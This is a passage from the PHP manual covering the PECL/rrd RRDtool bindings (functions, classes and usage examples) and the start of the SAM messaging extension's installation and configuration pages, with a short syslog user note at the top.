Let's suppose I want to log an informational message in the mail log (which happens to be true). The man page tells me I want LOG_MAIL|LOG_INFO. So I look in /usr/include/sys/syslog.h and find (this happens to be Linux, your system could be different):

#define LOG_INFO        6       /* informational */
#define LOG_MAIL        (2<<3)  /* mail system */

2<<3 means shift 3 bits left, which means multiply by 8. So I want 2*8 + 6 = 22. syslog(22,"this message will appear in the mail log"); And indeed it does.
bb at lb-data dot co dot at 08-Sep-1999 03:54
In Windows NT, use the following values of priority:
1 = error,
6 = info
socket_set_timeout
RRD
Network Functions


RRDtool

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Procedural PECL/rrd example
    • OOP PECL/rrd example
  • RRD Functions
    • rrd_create — Creates rrd database file
    • rrd_error — Gets latest error message.
    • rrd_fetch — Fetch the data for graph as array.
    • rrd_first — Gets the timestamp of the first sample from rrd file.
    • rrd_graph — Creates image from a data.
    • rrd_info — Gets information about rrd file
    • rrd_last — Gets unix timestamp of the last sample.
    • rrd_lastupdate — Gets information about last updated data.
    • rrd_restore — Restores the RRD file from XML dump.
    • rrd_tune — Tunes some RRD database file header options.
    • rrd_update — Updates the RRD database.
    • rrd_version — Gets information about underlying rrdtool library
    • rrd_xport — Exports the information about RRD database.
  • RRDCreator — The RRDCreator class
    • RRDCreator::addArchive — Adds RRA - archive of data values for each data source.
    • RRDCreator::addDataSource — Adds data source definition for RRD database.
    • RRDCreator::__construct — Creates new RRDCreator instance
    • RRDCreator::save — Saves the RRD database to a file
  • RRDGraph — The RRDGraph class
    • RRDGraph::__construct — Creates new RRDGraph instance
    • RRDGraph::save — Saves the result of query into image
    • RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph.
    • RRDGraph::setOptions — Sets the options for rrd graph export
  • RRDUpdater — The RRDUpdater class
    • RRDUpdater::__construct — Creates new RRDUpdater instance
    • RRDUpdater::update — Update the RRD database file

User Contributed Notes

There are no user contributed notes for this page.
syslog
Introduction
Other Services


Introduction

The PECL/rrd extension provides bindings to the RRDtool C library. RRDtool is the open source industry standard, high performance data logging and graphing system for time series data.

The RRDtool homepage is » http://www.mrtg.org/rrdtool/.

User Contributed Notes

There are no user contributed notes for this page.
RRD
Installing/Configuring
RRD


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
RRD


Requirements

You need to install librrd first to be able to use PECL/rrd. Most common option is using of librrd-dev package from your favourite linux distro. PECL/rrd is tested with librrd 1.4.3, older or newer versions might or might not work for you. PECL/rrd installation is tested with PHP 5.3.2 or newer.

Warning

Librrd and hence extension itself aren't mostly thread safe. There are many global and shared states in librrd. It can be dangerous use this extension in multi threaded environments like Apache2 mpm worker. If there are many parallel requests, one request can change some global librrd state of other runnig requests.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/rrd.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
RRD


Examples

Table of Contents

  • Procedural PECL/rrd example
  • OOP PECL/rrd example

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Procedural PECL/rrd example
RRD


Procedural PECL/rrd example

Example #1 Procedural usage of rrd

<?php
$rrdFile = dirname(__FILE__) . "/speed.rrd";

//create rrd file
rrd_create($rrdFile,
 array(
  "--start",920804400,
  "DS:speed:COUNTER:600:U:U",
  "RRA:AVERAGE:0.5:1:24",
  "RRA:AVERAGE:0.5:6:10"
  )
);

//update rrd file
rrd_update($rrdFile,
 array(
  "920804700:12345",
  "920805000:12357"
  )
);

//graph output
rrd_graph(dirname(__FILE__) . "/speed.png",
 array(
  "--start", "920804400",
  "--end", "920808000",
  "--vertical-label", "m/s",
  "DEF:myspeed=$rrdFile:speed:AVERAGE",
  "CDEF:realspeed=myspeed,1000,*",
  "LINE2:realspeed#FF0000"
 )
);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
OOP PECL/rrd example
Examples


OOP PECL/rrd example

Example #1 OO usage of rrd

<?php
$rrdFile = dirname(__FILE__) . "/speed.rrd";
$outputPngFile = dirname(__FILE__) . "/speed.png";

$creator = new RRDCreator($rrdFile, "now -10d", 500);
$creator->addDataSource("speed:COUNTER:600:U:U");
$creator->addArchive("AVERAGE:0.5:1:24");
$creator->addArchive("AVERAGE:0.5:6:10");
$creator->save();

$updater = new RRDUpdater($rrdFile);
$updater->update(array("speed" => "12345"), "920804700");
$updater->update(array("speed" => "12357"), "920805000");

$graphObj = new RRDGraph($outputPngFile);
$graphObj->setOptions(
    array(
        "--start" => "920804400",
        "--end" => 920808000,
        "--vertical-label" => "m/s",
        "DEF:myspeed=$rrdFile:speed:AVERAGE",
        "CDEF:realspeed=myspeed,1000,*",
        "LINE2:realspeed#FF0000"
    )
);
$graphObj->save();
?>

User Contributed Notes

There are no user contributed notes for this page.
Procedural PECL/rrd example
RRD Functions
Examples


RRD Functions

Table of Contents

  • rrd_create — Creates rrd database file
  • rrd_error — Gets latest error message.
  • rrd_fetch — Fetch the data for graph as array.
  • rrd_first — Gets the timestamp of the first sample from rrd file.
  • rrd_graph — Creates image from a data.
  • rrd_info — Gets information about rrd file
  • rrd_last — Gets unix timestamp of the last sample.
  • rrd_lastupdate — Gets information about last updated data.
  • rrd_restore — Restores the RRD file from XML dump.
  • rrd_tune — Tunes some RRD database file header options.
  • rrd_update — Updates the RRD database.
  • rrd_version — Gets information about underlying rrdtool library
  • rrd_xport — Exports the information about RRD database.

User Contributed Notes

There are no user contributed notes for this page.
OOP PECL/rrd example
rrd_create
RRD


Creates rrd database file

RRD Functions
rrd_error
RRD Functions
PHP Manual

rrd_create

(PECL rrd >= 0.9.0)

rrd_create — Creates rrd database file

Description

bool rrd_create ( string $filename , array $options )

Creates the rdd database file.

Parameters

filename

Filename for newly created rrd file.

options

Options for rrd create - list of strings. See man page of rrd create for whole list of options.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

daniel dot seif at castex dot de 29-Apr-2011 08:52
Note, that in previous versions, the interface was

bool rrd_create ( string $filename , array $options , integer numberOfOptions )
RRD Functions
rrd_error
RRD Functions


Gets latest error message.

rrd_create
rrd_fetch
RRD Functions
PHP Manual

rrd_error

(PECL rrd >= 0.9.0)

rrd_error — Gets latest error message.

Description

string rrd_error ( void )

Returns latest global rrd error message.

Parameters

This function has no parameters.

Return Values

Latest error message.

User Contributed Notes

There are no user contributed notes for this page.
rrd_create
rrd_fetch
RRD Functions


Fetch the data for graph as array.

rrd_error
rrd_first
RRD Functions
PHP Manual

rrd_fetch

(PECL rrd >= 0.9.0)

rrd_fetch — Fetch the data for graph as array.

Description

array rrd_fetch ( string $filename , array $options )

Gets data for graph output from RRD database file as array. This function has same result as rrd_graph(), but fetched data are returned as array, no image file is created.

Parameters

filename

RRD database file name.

options

Array of options for resolution specification.

Return Values

Returns information about retrieved graph data.

User Contributed Notes

Andrew Hodel 16-Aug-2011 06:33
There is a third required argument to this function, if you pass just the 2 listed here the function will return no data.

The third argument is the number of results you want, if you want everything simply pass count($OPTSARRAY) as arg3.

<?php
$opts = array ( "AVERAGE", "--start", '-1d');
print_r(rrd_fetch('./rrds/file.rrd', $opts, count($opts)));
?>
rrd_error
rrd_first
RRD Functions


Gets the timestamp of the first sample from rrd file.

rrd_fetch
rrd_graph
RRD Functions
PHP Manual

rrd_first

(PECL rrd >= 0.9.0)

rrd_first — Gets the timestamp of the first sample from rrd file.

Description

int rrd_first ( string $file [, int $raaindex = 0 ] )

Returns the first data sample from the specified RRA of the RRD file.

Parameters

file

RRD database file name.

raaindex

The index number of the RRA that is to be examined. Default value is 0.

Return Values

Integer number of unix timestamp, FALSE if some error occurs.

User Contributed Notes

There are no user contributed notes for this page.
rrd_fetch
rrd_graph
RRD Functions


Creates image from a data.

rrd_first
rrd_info
RRD Functions
PHP Manual

rrd_graph

(PECL rrd >= 0.9.0)

rrd_graph — Creates image from a data.

Description

array rrd_graph ( string $filename , array $options )

Creates image for a particular data from RRD file.

Parameters

filename

RRD database file name.

options

Options for generating image. See man page of rrd graph for all possible options. All options (data definitions, variable defintions, etc.) are allowed.

Return Values

Array with information about generated image is returned, FALSE when error occurs.

User Contributed Notes

There are no user contributed notes for this page.
rrd_first
rrd_info
RRD Functions


Gets information about rrd file

rrd_graph
rrd_last
RRD Functions
PHP Manual

rrd_info

(PECL rrd >= 0.9.0)

rrd_info — Gets information about rrd file

Description

array rrd_info ( string $filename )

Returns information about particular RRD database file.

Parameters

file

RRD database file name.

Return Values

Array with information about requsted RRD file, FALSE when error occurs.

User Contributed Notes

There are no user contributed notes for this page.
rrd_graph
rrd_last
RRD Functions


Gets unix timestamp of the last sample.

rrd_info
rrd_lastupdate
RRD Functions
PHP Manual

rrd_last

(PECL rrd >= 0.9.0)

rrd_last — Gets unix timestamp of the last sample.

Description

int rrd_last ( string $filename )

Returns the UNIX timestamp of the most recent update of the RRD database.

Parameters

filename

RRD database file name.

Return Values

Integer as unix timestamp of the most recent data from the RRD database.

User Contributed Notes

There are no user contributed notes for this page.
rrd_info
rrd_lastupdate
RRD Functions


Gets information about last updated data.

rrd_last
rrd_restore
RRD Functions
PHP Manual

rrd_lastupdate

(PECL rrd >= 0.9.0)

rrd_lastupdate — Gets information about last updated data.

Description

array rrd_lastupdate ( string $filename )

Gets array of the UNIX timestamp and the values stored for each date in the most recent update of the RRD database file.

Parameters

file

RRD database file name.

Return Values

Array of information about last update, FALSE when error occurs.

User Contributed Notes

There are no user contributed notes for this page.
rrd_last
rrd_restore
RRD Functions


Restores the RRD file from XML dump.

rrd_lastupdate
rrd_tune
RRD Functions
PHP Manual

rrd_restore

(PECL rrd >= 0.9.0)

rrd_restore — Restores the RRD file from XML dump.

Description

bool rrd_restore ( string $xml_file , string $rrd_file [, array $options ] )

Restores the RRD file from the XML dump.

Parameters

xml_file

XML filename with the dump of the original RRD database file.

rrd_file

Restored RRD database file name.

options

Array of options for restoring. See man page for rrd restore.

Return Values

Returns TRUE on success, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
rrd_lastupdate
rrd_tune
RRD Functions


Tunes some RRD database file header options.

rrd_restore
rrd_update
RRD Functions
PHP Manual

rrd_tune

(PECL rrd >= 0.9.0)

rrd_tune — Tunes some RRD database file header options.

Description

bool rrd_tune ( string $filename , array $options )

Change some options in the RRD dabase header file. E.g. renames the source for the data etc.

Parameters

filename

RRD database file name.

options

Options with RRD database file properties which will be changed. See rrd tune man page for details.

Return Values

Returns TRUE on success, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
rrd_restore
rrd_update
RRD Functions


Updates the RRD database.

rrd_tune
rrd_version
RRD Functions
PHP Manual

rrd_update

(PECL rrd >= 0.9.0)

rrd_update — Updates the RRD database.

Description

bool rrd_update ( string $filename , array $options )

Updates the RRD database file. The input data is time interpolated according to the properties of the RRD database file.

Parameters

filename

RRD database file name. This database will be updated.

options

Options for updating the RRD database. This is list of strings. See man page of rrd update for whole list of options.

Return Values

Returns TRUE on success, FALSE when error occurs.

User Contributed Notes

There are no user contributed notes for this page.
rrd_tune
rrd_version
RRD Functions


Gets information about underlying rrdtool library

rrd_update
rrd_xport
RRD Functions
PHP Manual

rrd_version

(PECL rrd >= 1.0.0)

rrd_version — Gets information about underlying rrdtool library

Description

string rrd_version ( void )

Returns information about underlying rrdtool library.

Parameters

This function has no parameters.

Return Values

String with rrdtool version number e.g. "1.4.3".

User Contributed Notes

There are no user contributed notes for this page.
rrd_update
rrd_xport
RRD Functions


Exports the information about RRD database.

rrd_version
RRDCreator
RRD Functions
PHP Manual

rrd_xport

(PECL rrd >= 0.9.0)

rrd_xport — Exports the information about RRD database.

Description

array rrd_xport ( array $options )

Exports the information about RRD database file. This data can be converted to XML file via user space PHP script and then restored back as RRD database file.

Parameters

options

Array of options for the export, see rrd xport man page.

Return Values

Array with information about RRD database file, FALSE when error occurs.

User Contributed Notes

There are no user contributed notes for this page.
rrd_version
RRDCreator
RRD Functions


The RRDCreator class

(No version information available, might only be in SVN)

Introduction

Class for creation of RRD database file.

Class synopsis

RRDCreator {
/* Methods */
public void addArchive ( string $description )
public void addDataSource ( string $description )
public __construct ( string $path [, string $startTime [, int $step = 0 ]] )
public bool save ( void )
}

Table of Contents

  • RRDCreator::addArchive — Adds RRA - archive of data values for each data source.
  • RRDCreator::addDataSource — Adds data source definition for RRD database.
  • RRDCreator::__construct — Creates new RRDCreator instance
  • RRDCreator::save — Saves the RRD database to a file

User Contributed Notes

There are no user contributed notes for this page.
rrd_xport
RRDCreator::addArchive
RRD


Adds RRA - archive of data values for each data source.

RRDCreator
RRDCreator::addDataSource
RRDCreator
PHP Manual

RRDCreator::addArchive

(PECL rrd >= 0.9.0)

RRDCreator::addArchive — Adds RRA - archive of data values for each data source.

Description

public void RRDCreator::addArchive ( string $description )

Adds RRA definition by description of archive. Archive consists of a number of data values or statistics for each of the defined data-sources (DS). Data sources are defined by method RRDCreator::addDataSource(). You need call this method for each requested archive.

Parameters

description

Definition of archive - RRA. This has same format as RRA definition in rrd create command. See man page of rrd create for more details.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RRDCreator
RRDCreator::addDataSource
RRDCreator


Adds data source definition for RRD database.

RRDCreator::addArchive
RRDCreator::__construct
RRDCreator
PHP Manual

RRDCreator::addDataSource

(PECL rrd >= 0.9.0)

RRDCreator::addDataSource — Adds data source definition for RRD database.

Description

public void RRDCreator::addDataSource ( string $description )

RRD can accept input from several data sources (DS), e.g incomming and outgoing traffic. This method adds data source by description. You need call this method for each data source.

Parameters

description

Definition of data source - DS. This has same format as DS definition in rrd create command. See man page of rrd create for more details.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RRDCreator::addArchive
RRDCreator::__construct
RRDCreator


Creates new RRDCreator instance

RRDCreator::addDataSource
RRDCreator::save
RRDCreator
PHP Manual

RRDCreator::__construct

(PECL rrd >= 0.9.0)

RRDCreator::__construct — Creates new RRDCreator instance

Description

public RRDCreator::__construct ( string $path [, string $startTime [, int $step = 0 ]] )

Creates new RRDCreator instance.

Parameters

path

Path for newly created RRD database file.

startTime

Time for the first value in RRD database. Parameter supports all formats which are supported by rrd create call.

intstep

Base interval in seconds with which data will be fed into the RRD database.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RRDCreator::addDataSource
RRDCreator::save
RRDCreator


Saves the RRD database to a file

RRDCreator::__construct
RRDGraph
RRDCreator
PHP Manual

RRDCreator::save

(PECL rrd >= 0.9.0)

RRDCreator::save — Saves the RRD database to a file

Description

public bool RRDCreator::save ( void )

Saves the RRD database into file, which name is defined by RRDCreator::__construct().

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
RRDCreator::__construct
RRDGraph
RRDCreator


The RRDGraph class

(No version information available, might only be in SVN)

Introduction

Class for exporting data from RRD database to image file.

Class synopsis

RRDGraph {
/* Methods */
public __construct ( string $path )
public array save ( void )
public array saveVerbose ( void )
public void setOptions ( array $options )
}

Table of Contents

  • RRDGraph::__construct — Creates new RRDGraph instance
  • RRDGraph::save — Saves the result of query into image
  • RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph.
  • RRDGraph::setOptions — Sets the options for rrd graph export

User Contributed Notes

There are no user contributed notes for this page.
RRDCreator::save
RRDGraph::__construct
RRD


Creates new RRDGraph instance

RRDGraph
RRDGraph::save
RRDGraph
PHP Manual

RRDGraph::__construct

(PECL rrd >= 0.9.0)

RRDGraph::__construct — Creates new RRDGraph instance

Description

public RRDGraph::__construct ( string $path )

Creates new RRDGraph instance. This instance is responsible for rendering the result of RRD database query into image.

Parameters

path

Full path for the newly created image.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RRDGraph
RRDGraph::save
RRDGraph


Saves the result of query into image

RRDGraph::__construct
RRDGraph::saveVerbose
RRDGraph
PHP Manual

RRDGraph::save

(PECL rrd >= 0.9.0)

RRDGraph::save — Saves the result of query into image

Description

public array RRDGraph::save ( void )

Saves the result of RRD database query into image defined by RRDGraph::__construct().

Parameters

This function has no parameters.

Return Values

Array with information about generated image is returned, FALSE if error occurs.

User Contributed Notes

There are no user contributed notes for this page.
RRDGraph::__construct
RRDGraph::saveVerbose
RRDGraph


Saves the RRD database query into image and returns the verbose information about generated graph.

RRDGraph::save
RRDGraph::setOptions
RRDGraph
PHP Manual

RRDGraph::saveVerbose

(PECL rrd >= 0.9.0)

RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph.

Description

public array RRDGraph::saveVerbose ( void )

Saves the RRD database query into image file defined by method RRDGraph::__construct() and returns the verbose information about generated graph, if "-" is used as image filename, image data are also returned in result array.

Parameters

This function has no parameters.

Return Values

Array with detailed information about generated image is returned, optionally with image data, FALSE if error occurs.

User Contributed Notes

There are no user contributed notes for this page.
RRDGraph::save
RRDGraph::setOptions
RRDGraph


Sets the options for rrd graph export

RRDGraph::saveVerbose
RRDUpdater
RRDGraph
PHP Manual

RRDGraph::setOptions

(PECL rrd >= 0.9.0)

RRDGraph::setOptions — Sets the options for rrd graph export

Description

public void RRDGraph::setOptions ( array $options )

Parameters

options

List of options for the image generation from the RRD database file. It can be list of strings or list of strings with keys for better readability. Read the rrd graph man pages for list of available options.

Return Values

No value is returned.

Examples

Example #1 RRDGraph::setOptions() examples

<?php
$graphObj->setOptions(array(
    "--start" => "920804400",
    "--end" => 920808000,
    "--vertical-label" => "m/s",
    "DEF:myspeed=$rrdFile:speed:AVERAGE",
    "CDEF:realspeed=myspeed,1000,*",
    "LINE2:realspeed#FF0000"
));
?>

User Contributed Notes

There are no user contributed notes for this page.
RRDGraph::saveVerbose
RRDUpdater
RRDGraph


The RRDUpdater class

(No version information available, might only be in SVN)

Introduction

Class for updating RDD database file.

Class synopsis

RRDUpdater {
/* Methods */
public __construct ( string $path )
public bool update ( array $values [, string $time = time() ] )
}

Table of Contents

  • RRDUpdater::__construct — Creates new RRDUpdater instance
  • RRDUpdater::update — Update the RRD database file

User Contributed Notes

There are no user contributed notes for this page.
RRDGraph::setOptions
RRDUpdater::__construct
RRD


Creates new RRDUpdater instance

RRDUpdater
RRDUpdater::update
RRDUpdater
PHP Manual

RRDUpdater::__construct

(PECL rrd >= 0.9.0)

RRDUpdater::__construct — Creates new RRDUpdater instance

Description

public RRDUpdater::__construct ( string $path )

Creates new RRDUpdater instance. This instance is responsible for updating the RRD database file.

Parameters

path

Filesystem path for RRD database file, which will be updated.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RRDUpdater
RRDUpdater::update
RRDUpdater


Update the RRD database file

RRDUpdater::__construct
SAM
RRDUpdater
PHP Manual

RRDUpdater::update

(PECL rrd >= 0.9.0)

RRDUpdater::update — Update the RRD database file

Description

public bool RRDUpdater::update ( array $values [, string $time = time() ] )

Updates the RRD file defined via RRDUpdater::__construct(). The file is updated with a specific values.

Parameters

values

Data for update. Key is data source name.

time

Time value for updating the RRD with a particulat data. Default value is current time.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws a Exception on error.

Examples

Example #1 RRDUpdater::update() examples

<?php
$updator = new RRDUpdater("speed.rrd");
//updates the data source "speed" with value "12411"
//for time defined by timestamp "920807700"
$updator->update(array("speed" => "12411"), "920807700");
?>

User Contributed Notes

There are no user contributed notes for this page.
RRDUpdater::__construct
SAM
RRDUpdater


Simple Asynchronous Messaging

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Connections
    • Messages
    • Messaging operations
    • Publish/Subscribe and subscriptions to topics
    • Error handling
  • SAM Functions
    • SAMConnection::commit — Commits (completes) the current unit of work.
    • SAMConnection::connect — Establishes a connection to a Messaging Server
    • SAMConnection::__construct — Creates a new connection to a Messaging Server
    • SAMConnection::disconnect — Disconnects from a Messaging Server
    • SAMConnection::errno — Contains the unique numeric error code of the last executed SAM operation.
    • SAMConnection::error — Contains the text description of the last failed SAM operation.
    • SAMConnection::isConnected — Queries whether a connection is established to a Messaging Server
    • SAMConnection::peek — Read a message from a queue without removing it from the queue.
    • SAMConnection::peekAll — Read one or more messages from a queue without removing it from the queue.
    • SAMConnection::receive — Receive a message from a queue or subscription.
    • SAMConnection::remove — Remove a message from a queue.
    • SAMConnection::rollback — Cancels (rolls back) an in-flight unit of work.
    • SAMConnection::send — Send a message to a queue or publish an item to a topic.
    • SAMConnection::setDebug — Turn on or off additional debugging output.
    • SAMConnection::subscribe — Create a subscription to a specified topic.
    • SAMConnection::unsubscribe — Cancel a subscription to a specified topic.
    • SAMMessage::body — The body of the message.
    • SAMMessage::__construct — Creates a new Message object
    • SAMMessage::header — The header properties of the message.

User Contributed Notes

There are no user contributed notes for this page.
RRDUpdater::update
Introduction
Other Services


Introduction

This extension provides access to the functionality of messaging and queueing systems, such as the IBM WebSphere MQSeries family of products, from PHP scripts. The interface is designed to make it extremely simple to do the more commonly required tasks such as deliver simple text messages to queues while still allowing skilled users to do more complex messaging operations. For many users the complexities of setting up numerous options can be simply ignored.

The SAM extension is a framework that provides a very simple API that can be used to access a number of messaging middleware systems. Currently the package includes built-in support for the MQTT (MQ Telemetry Transport) messaging protocol and support for the IBM Messaging and Queuing middleware products. SAM is designed to be readily extended to support other messaging systems and extension modules may be written in C or PHP.

User Contributed Notes

There are no user contributed notes for this page.
SAM
Installing/Configuring
SAM


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SAM


Requirements

The SAM extension interfaces to the IBM Messaging and Queuing middleware products using a set of libraries and some client side code referred to as XMS. This package is available as a free download in the guise of IBM support pack IA94. There is a description of this package and download links in the article » Introducing XMS - The IBM Message Service API.

If you intend to use SAM to access the Messaging and Queuing infrastructure within WebSphere MQ then you will also need to have installed a local MQ queue manager or installed the WebSphere MQ clients package. The clients package is freely available as a support pack (» MQC6).

If you are only aiming to experiment with sending messages to and from WebSphere Application Server queues using the WebSphere Platform Messaging protocol (WPM) then you do not need to install the MQC6 package.

After installing these packages you will need to ensure the XMS binary and, if you are using it, the MQ client bin directory are included in the PATH environment variable so that Apache and PHP can find the dependent .DLLs/libraries.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/sam.

The SAM framework and MQTT support can be built and used without any other prerequisites. Support for protocols other than MQTT is provided via a set of libraries and some client side code referred to as XMS.

If you only intend to use the built-in MQTT support then you can build and configure SAM as an extension or simply refer to php_sam.php with a require() or require_once() clause in your PHP script. In this case you need only install the code without building the extension using the pear installer:

pecl install -B SAM

Linux installation steps

The sam extension is supplied as a PECL module, which you should be able to download and install in one step as follows:

pecl install sam
(Depending on your php environment, you will probably need to be root to do this.)

Make sure that the module is loaded by PHP, by adding following line to php.ini:

extension=sam.so
If you intend to use the XMS support to access the IBM Messaging and Queuing family you must also enable the SAM XMS extension.
extension=sam_xms.so

If you cannot use the PEAR installer, you can download the extension and build it manually:

pear download sam          #downloads sam-<version>.tgz
tar -xzf sam-<version>.tgz
cd sam-<version>
phpize
./configure
make
make install               #you may need to be root for this step

To work with the very latest source, you'll need to extract it from SVN and build manually as above.

Windows installation steps

You will probably need to build the sam extension for Windows as there are only a limited range of pre-built binaries available from the SAM website. The extension can be built using the standard Windows extension build procedures.

You will need the PHP source tree for the version of PHP you wish to build the SAM extension against which you can obtain from php.net. This should be unpacked into a working directory of your choice.

You will also need the libraries and headers used by PHP extensions available from http://www.php.net/extra/win32build.zip and this should be unzipped so that is in your working directory.

You should have something like:

c:\php-build\-
              |
              |---php-5.0.5--|---build
              |              |---ext
              |              |--- ...
              |
              |---win32build--|---bin
                              |---include
                              |---lib

You will need a compiler such as the free version of Visual Studio C++ Express from the Microsoft web site. Also you need the Microsoft SDK Microsoft Windows Platform which again can be downloaded from the Microsoft web site.

Obtain the SAM extension source using pear (pecl download sam) or by using SVN and copy the files to a new "sam" directory under the "ext" directory in your PHP source tree.

To build the extension open a build environment window by going to the start

menu->all programs->microsoft platform SDK for windows->
open build environment window->windows 200 build environment->
set windows 2000 build environment (retail)

This should open a command prompt with all the environment variables set up to access the platform SDK etc. You then need to set the environment variables for Visual Studio by issuing the command vcvars32.bat in the window.

Change directory to your working directory e.g. cd c:\php-build. Then make sure the win32build tools are accessible by adding them to the PATH environment variable:

set PATH=..\win32build\bin;%PATH%

Run the buildconf.bat command. This should rebuild the configure.js file.

Run the cscript command with the appropriate options. To build just the SAM extension framework and MQTT support use:

cscript /nologo configure.js --with-sam
To build the SAM framework and the XMS support use:
cscript /nologo configure.js --with-sam --with-sam_xms="c:\program files\ibm\xms"

The additional parameter passed for sam_xms is the installation path to the XMS libraries and runtime that were installed as described under prerequisites at the top of this page.

You can specify whatever other cscript parameters you require to include or exclude items from the php build or select options.

Assuming all has gone well so far you can now finally run a make for the SAM framework!

nmake php_sam.dll
Also if you are using the XMS support you must make the sam_xms extensions:
nmake php_sam_xms.dll

If you have used Visual Studio 2005 to build the DLLs please see below for additional steps that must be carried out before proceeding further.

The DLLs created (php_sam.dll and optionally php_sam_xms.dll) can now be copied to the subdirectory appropriate for your PHP set-up. Make sure that the module(s) are loaded by PHP, by adding following line to php.ini:

extension=php_sam.dll
If you intend to use the XMS support to access the IBM Messaging and Queuing family you must also enable the SAM XMS extension.
extension=php_sam_xms.dll

Additional steps for Visual Studio 2005

If you build the SAM extension with the Microsoft Visual Studio 2005 compiler and tools you need to perform an additional step in the build process to ensure the php_sam.dll is able to link with the C runtime libraries at runtime. This step includes the dependancy manifest into the DLL. Switch to the directory where the php_sam.dll has been generated (usually Release_TS or Debug_TS below the php source directory) and issue the following magic incantation:

mt.exe -manifest php_sam.dll.manifest -outputresource:php_sam.dll;2
If you are using the XMS capabilities you will need to do the same with the SAM XMS DLL:
mt.exe -manifest php_sam_xms.dll.manifest -outputresource:php_sam_xms.dll;2

If you build the SAM extension using the compiler and libraries from Microsoft Visual Studio 2005 you will also need to ensure that the runtime components are installed on the system on which you intend to use SAM. This can be accomplished by installing Visual Studio 2005 or by using the freely distributable » runtime package.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

Protocol support and mapping

The SAM framework can be extended to support other messaging protocols and connection mechanisms. To add support for a new protocol or connection library a support class has to be defined, either as a C extension or as a PHP script, and a "factory" script must be created. The support class must implement all the methods of the SAMConnection class though it should not inherit from SAMConnection. The factory script will be called by the SAM framework to create an instance of the implemented class. The way SAM chooses which factory to call is based on the protocol specified as the first parameter of the "connect" call.

By default the built-in MQTT support will be used if a connect call specifies a protocol of SAM_MQTT ("mqtt"), for any other protocol SAM will attempt to use the XMS support extension. To add support for additional protocols or to modify the default behavior entries may be added to php.ini in the [sam] section. The default mapping is equivalent to the following entries:

[sam]
sam.factory.mqtt=mqtt
sam.factory.wmq=xms
sam.factory.wmq:client=xms
sam.factory.wmq:bindings=xms
sam.factory.wpm=xms
sam.factory.rtt=xms
As can be seen from these examples the entries take the form of "sam.factory.pppp=xxx" where pppp is the protocol string specified on the connect call and xxx is a factory suffix. Note: SAM defines constants for these protocol strings such that SAM_WMQ=wmq, SAM_WPM=wpm, SAM_RTT=rtt, SAM_MQTT=mqtt, etc.

When identifying the support code to use on a connect call SAM looks up the protocol name in the php.ini entries and then invokes a factory script named sam_factory_xxx.php. If no entry is found the support will default to XMS.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SAM_AUTO (string)
Automatic behaviour
SAM_BOOLEAN (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_BUS (string)
Connect attribute used to set the name of the enterprise service bus to connect to.
SAM_BYTE (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_BYTES (string)
Message body type descriptor.
SAM_CORRELID (string)
Attribute used on receive, send and remove requests to identify specific messages.
SAM_DELIVERYMODE (string)
Message header property.
SAM_DOUBLE (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_ENDPOINTS (string)
Connect attribute used to define the possible endpoints to connect to.
SAM_FLOAT (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_HOST (string)
Connect attribute used to set the hostname of the required messaging server.
SAM_INT (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_LONG (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_MANUAL (string)
Manual (script controlled) behaviour
SAM_MESSAGEID (string)
Attribute used on receive and remove requests to identify specific messages.
SAM_MQTT (string)
Connect protocol definition for selecting the MQTT (MQ Telemetry Transport) protocol.
SAM_MQTT_CLEANSTART (bool)
Optional connect option to indicate to an MQTT server that all previous connection data for this client should be removed and that subscriptions should be deleted when the client disconnects explicitly or unexpectedly.
SAM_NON_PERSISTENT (string)
Connect attribute value used to request messages are not made persistent on the messaging server.
SAM_PASSWORD (string)
Connect attribute used to define the password to be used for the user account being used to connect to a messaging server that requires authorisation for connections.
SAM_PERSISTENT (string)
